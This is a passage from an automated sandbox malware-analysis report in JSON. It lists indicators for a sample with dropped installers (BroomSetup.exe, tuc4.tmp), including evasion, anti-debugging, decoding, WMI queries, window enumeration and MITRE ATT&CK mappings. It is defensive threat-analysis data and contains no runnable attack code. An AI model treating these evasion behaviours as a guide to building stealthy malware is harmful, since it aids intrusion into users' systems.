00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file resource with suspicious entropy","description":"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb has big resource with name: \"InstallSetup9\" size: \"2250661\" and abnormal entropy:\"7.925152696989269\"\n 1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb has big resource with name: \"288c47bbc1871b439df19ff4df68f076\" size: \"4318080\" and abnormal entropy:\"7.9957098243615725\"\n 1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb has big resource with name: \"tuc4\" size: \"4855053\" and abnormal entropy:\"7.999467756741134\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00001444.00000000.109009.004A0000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00001444.00000000.109009.04870000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00001444.00000001.110931.04870000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00008552.00000000.108997.05510000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00008576.00000000.108809.0040A000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00008576.00000001.110726.0040A000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00008576.00000002.112648.0040A000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x; Source: \"15608-844-00457DE8\")\n Found string - \\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x; Source: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"$28","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Spawns Windows crash diagnostic and reporting process","description":"$29","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".bss\" is zero\n Raw size of \".tls\" is zero\n Raw size of \"BSS\" is zero\n Raw size of \".reloc\" is zero\n Raw size of \".ndata\" is zero\n Raw size of \"\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2a","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime (Dotnet)","description":"Observed function \"FromBase64String\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00005516.00000000.110684.03350000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.990918217798157","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains ability to decode string content at runtime (Dotnet)\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Contains ability to create a new HTTP request (API string)\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Calls an API typically used to create a HTTP or FTP session\n Matched sigs: Calls an API typically used to create a new HTTP request\n Matched sigs: Contacts server\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Contains ability to create a HTTP or FTP session (API string)\n Matched sigs: Spawned process connects to a network","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00008776)\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"GetWriteWatch\" with parameters (UID: 00000000-00008776)\n \"InstallSetup9.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00008576)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00008776)\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00008776)\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00008776)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00008776)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"GetForegroundWindow\" (UID: 00000000-00008776)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"IsWow64Process\" with parameter \"8776\" - (UID: 00000000-00008776)\n \"BroomSetup.exe\" called \"IsWow64Process\" with parameter \"8552\" - (UID: 00000000-00008552)\n \"tuc4.tmp\" called \"IsWow64Process\" with parameter \"1444\" - (UID: 00000000-00001444)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"BroomSetup.exe\" called \"EnumWindows\" with parameter \"13629432\" - (UID: 00000000-00008552)\n \"tuc4.tmp\" called \"EnumWindows\" with parameter \"6026480\" - (UID: 00000000-00001444)\n \"tuc4.tmp\" called \"EnumWindows\" with parameter \"6026488\" - (UID: 00000000-00001444)\n \"tuc4.tmp\" called \"EnumWindows\" with parameter \"6026400\" - (UID: 00000000-00001444)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"Remover Update\" - (UID: 00000000-00008552)\n \"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"About\" - (UID: 00000000-00008552)\n \"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"Remover -\" - (UID: 00000000-00008552)\n \"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"1f043e04340442043204350440043604340435043d043804350420004304340430043b0435043d0438044f04\" - (UID: 00000000-00008552)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"tuc4.tmp\" called \"GetActiveWindow\" (UID: 00000000-00001444)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00008776)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"tuc4.tmp\" called \"OpenMutexA\" with parameter \"avi-formatter-tool-113\" - (UID: 00000000-00001444)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$30","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00008776)\n \"tuc4.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00008828)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an APIs used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: BroomSetup.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: tuc4.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: InstallSetup9.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: is-8EM8Q.tmp]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: tuc4.tmp]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: is-F1GN9.tmp]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries (Dotnet)","description":"Observed namespace \"System.Management.ManagementObjectSearcher\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"Select * from Win32_ComputerSystem\" (Indicator: \"select * from \"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"ISCryptGetVersion@_ISCRYPT.DLL at 00000000-00001444-15608-3249-0045C9A8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$33","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve configuration of a workstation (API string)","description":"Found reference to API \"NetWkstaGetInfo\" (Indicator: \"NetWkstaGetInfo\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-451","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00001444.00000000.109009.004A0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" issued a query \"SELECT BuildNumber FROM Win32_OperatingSystem\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" issued a query \"$objects\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" issued a query \"SELECT Caption FROM Win32_OperatingSystem\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry entry","description":"\"BroomSetup.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" queries volume information of \"C:\\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" at 00000000-00008776-00000C17-703618287","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"InstallSetup9.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"BroomSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tuc4.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment 